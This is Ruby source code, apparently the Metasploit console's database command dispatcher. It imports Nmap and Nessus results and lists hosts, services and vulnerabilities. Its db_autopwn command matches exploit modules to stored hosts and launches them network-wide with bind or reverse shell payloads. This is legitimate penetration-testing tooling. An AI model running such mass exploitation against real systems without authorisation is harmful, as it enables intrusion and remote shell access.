module Msf module Ui module Console module CommandDispatcher module Db require 'rexml/document' require 'tempfile' # # Constants # PWN_SHOW = 2**0 PWN_XREF = 2**1 PWN_PORT = 2**2 PWN_EXPL = 2**3 PWN_SING = 2**4 # # The dispatcher's name. # def name "Database Backend" end # # Returns the hash of commands supported by this dispatcher. # def commands { "db_hosts" => "List all hosts in the database", "db_services" => "List all services in the database", "db_vulns" => "List all vulnerabilities in the database", "db_add_host" => "Add one or more hosts to the database", "db_add_port" => "Add a port to host", "db_autopwn" => "Automatically exploit everything", "db_import_nessus_nbe" => "Import a Nessus scan result file (NBE)", "db_import_nmap_xml" => "Import a Nmap scan results file (-oX)", "db_nmap" => "Executes nmap and records the output automatically", } end def cmd_db_hosts(*args) framework.db.each_host do |host| print_status("Host: #{host.address}") end end def cmd_db_services(*args) framework.db.each_service do |service| print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state} name=#{service.name}") end end def cmd_db_vulns(*args) framework.db.each_vuln do |vuln| reflist = vuln.refs.map { |r| r.name } print_status("Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}") end end def cmd_db_add_host(*args) print_status("Adding #{args.length.to_s} hosts...") args.each do |address| framework.db.get_host(nil, address) end end def cmd_db_add_port(*args) if (not args or args.length < 3) print_status("Usage: db_add_port [host] [port] [proto]") return end host = framework.db.get_host(nil, args[0]) return if not host service = framework.db.get_service(nil, host, args[2].downcase, args[1].to_i) return if not service print_status("Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}") end # # A shotgun approach to network-wide exploitation # def cmd_db_autopwn(*args) stamp = Time.now.to_f vcnt = 0 rcnt = 0 mode = 0 code = :bind targ_inc = [] targ_exc = [] args.push("-h") if args.length == 0 while (arg = args.shift) case arg when '-t' mode |= PWN_SHOW when '-x' mode |= PWN_XREF when '-p' mode |= PWN_PORT when '-e' mode |= PWN_EXPL when '-s' mode |= PWN_SING when '-r' code = :conn when '-b' code = :bind when '-I' targ_inc << OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(args.shift) when '-X' targ_exc << OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(args.shift) when '-h' print_status("Usage: db_autopwn [options]") print_line("\t-h Display this help text") print_line("\t-t Show all matching exploit modules") print_line("\t-x Select modules based on vulnerability references") print_line("\t-p Select modules based on open ports") print_line("\t-e Launch exploits against all matched targets") print_line("\t-s Only obtain a single shell per target system (NON-FUNCTIONAL)") print_line("\t-r Use a reverse connect shell") print_line("\t-b Use a bind shell on a random port") print_line("\t-I [range] Only exploit hosts inside this range") print_line("\t-X [range] Always exclude hosts inside this range") print_line("") return end end matches = {} [ [framework.exploits, 'exploit' ], [ framework.auxiliary, 'auxiliary' ] ].each do |mtype| # Scan all exploit modules for matching references mtype[0].each_module do |n,m| e = m.new # # Match based on vulnerability references # if (mode & PWN_XREF != 0) e.references.each do |r| rcnt += 1 ref_name = r.ctx_id + '-' + r.ctx_val ref = framework.db.has_ref?(ref_name) if (ref) ref.vulns.each do |vuln| vcnt += 1 serv = vuln.service next if not serv.host xport = serv.port xprot = serv.proto xhost = serv.host.address next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost)) next if (targ_exc.length > 0 and range_include?(targ_exc, xhost)) matches[[xport,xprot,xhost,mtype[1]+'/'+n]]=true end end end end # # Match based on ports alone # if (mode & PWN_PORT != 0) rport = e.datastore['RPORT'] if (rport) framework.db.services.each do |serv| next if not serv.host next if serv.port.to_i != rport.to_i xport = serv.port xprot = serv.proto xhost = serv.host.address next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost)) next if (targ_exc.length > 0 and range_include?(targ_exc, xhost)) matches[[xport,xprot,xhost,mtype[1]+'/'+n]]=true end end end end end if (mode & PWN_SHOW != 0) print_status("Analysis completed in #{(Time.now.to_f - stamp).to_s} seconds (#{vcnt.to_s} vulns / #{rcnt.to_s} refs)") end idx = 0 matches.each_key do |xref| idx += 1 begin mod = nil if ((mod = framework.modules.create(xref[3])) == nil) print_status("Failed to initialize #{xref[3]}") next end if (mode & PWN_SHOW != 0) print_status("Matched #{xref[3]} against #{xref[2].to_s}:#{mod.datastore['RPORT'].to_s}...") end # # The code is just a proof-of-concept and will be expanded in the future # if (mode & PWN_EXPL != 0) mod.datastore['RHOST'] = xref[2] mod.datastore['RPORT'] = xref[0].to_s if (code == :bind) mod.datastore['PAYLOAD'] = 'generic/shell_bind_tcp' mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s end if (code == :conn) mod.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp' mod.datastore['LHOST'] = Rex::Socket.source_address(xref[2]) mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s if (mod.datastore['LHOST'] == '127.0.0.1') print_status("Failed to determine listener address for target #{xref[2]}...") next end end next if not mod.autofilter() print_status("Launching #{xref[3]} (#{idx.to_s}/#{matches.length.to_s}) against #{xref[2].to_s}:#{mod.datastore['RPORT'].to_s}...") begin case mod.type when MODULE_EXPLOIT session = mod.exploit_simple( 'Payload' => mod.datastore['PAYLOAD'], 'LocalInput' => driver.input, 'LocalOutput' => driver.output, 'RunAsJob' => true) when MODULE_AUX session = mod.run_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output, 'RunAsJob' => true) end rescue ::Exception print_status(" >> Exception during launch from #{xref[3]}: #{$!.to_s}") end end rescue ::Exception print_status(" >> Exception from #{xref[3]}: #{$!.to_s}") end end # EOM end # # Import Nessus NBE files # def cmd_db_import_nessus_nbe(*args) if (not (args and args.length == 1)) print_status("Usage: db_import_nessus_nbe [nessus.nbe]") return end if (not File.readable?(args[0])) print_status("Could not read the NBE file") return end fd = File.open(args[0], 'r') fd.each_line do |line| r = line.split('|') next if r[0] != 'results' addr = r[2] nasl = r[4] hole = r[5] data = r[6] refs = {} m = r[3].match(/^([^\(]+)\((\d+)\/([^\)]+)\)/) next if not m host = framework.db.get_host(nil, addr) next if not host service = framework.db.get_service(nil, host, m[3].downcase, m[2].to_i) service.name = m[1] service.save next if not nasl data.gsub!("\\n", "\n") if (data =~ /^CVE : (.*)$/) $1.gsub(/C(VE|AN)\-/, '').split(',').map { |r| r.strip }.each do |r| refs[ 'CVE-' + r ] = true end end if (data =~ /^BID : (.*)$/) $1.split(',').map { |r| r.strip }.each do |r| refs[ 'BID-' + r ] = true end end if (data =~ /^Other references : (.*)$/) $1.split(',').map { |r| r.strip }.each do |r| ref_id, ref_val = r.split(':') ref_val ? refs[ ref_id + '-' + ref_val ] = true : refs[ ref_id ] = true end end refs[ 'NSS-' + nasl.to_s ] = true vuln = framework.db.get_vuln(nil, service, 'NSS-' + nasl.to_s, data) rids = [] refs.keys.each do |r| rids << framework.db.get_ref(nil, r) end vuln.refs << (rids - vuln.refs) end end # # Import Nmap data from a file # def cmd_db_import_nmap_xml(*args) if (not (args and args.length == 1)) print_status("Usage: db_import_nmap_xml [nmap.xml]") return end if (not File.readable?(args[0])) print_status("Could not read the XML file") return end fd = File.open(args[0], 'r') data = fd.read fd.close load_nmap_xml(data) end # # Import Nmap data from a file # def cmd_db_nmap(*args) if (args.length == 0) print_status("Usage: db_nmap [nmap options]") return end fd = Tempfile.new('dbnmap') args.push('-oX', fd.path) args.unshift('nmap') system(*args) data = fd.read fd.close load_nmap_xml(data) end # # Process Nmap XML data # def load_nmap_xml(data) doc = REXML::Document.new(data) doc.elements.each('/nmaprun/host') do |host| addr = host.elements['address'].attributes['addr'] host.elements['ports'].elements.each('port') do |port| prot = port.attributes['protocol'] pnum = port.attributes['portid'] next if not port.elements['state'] stat = port.elements['state'].attributes['state'] next if not port.elements['service'] name = port.elements['service'].attributes['name'] prod = port.elements['service'].attributes['product'] xtra = port.elements['service'].attributes['extrainfo'] next if stat != 'open' host = framework.db.get_host(nil, addr) next if not host service = framework.db.get_service(nil, host, prot.downcase, pnum.to_i) service.name = name service.save end end end # # Determine if an IP address is inside a given range # def range_include?(ranges, addr) ranges.each do |sets| sets.each do |set| rng = set.split('-').map{ |c| Rex::Socket::addr_atoi(c) } tst = Rex::Socket::addr_atoi(addr) if (tst >= rng[0] and tst <= rng[1]) return true end end end false end end end end end end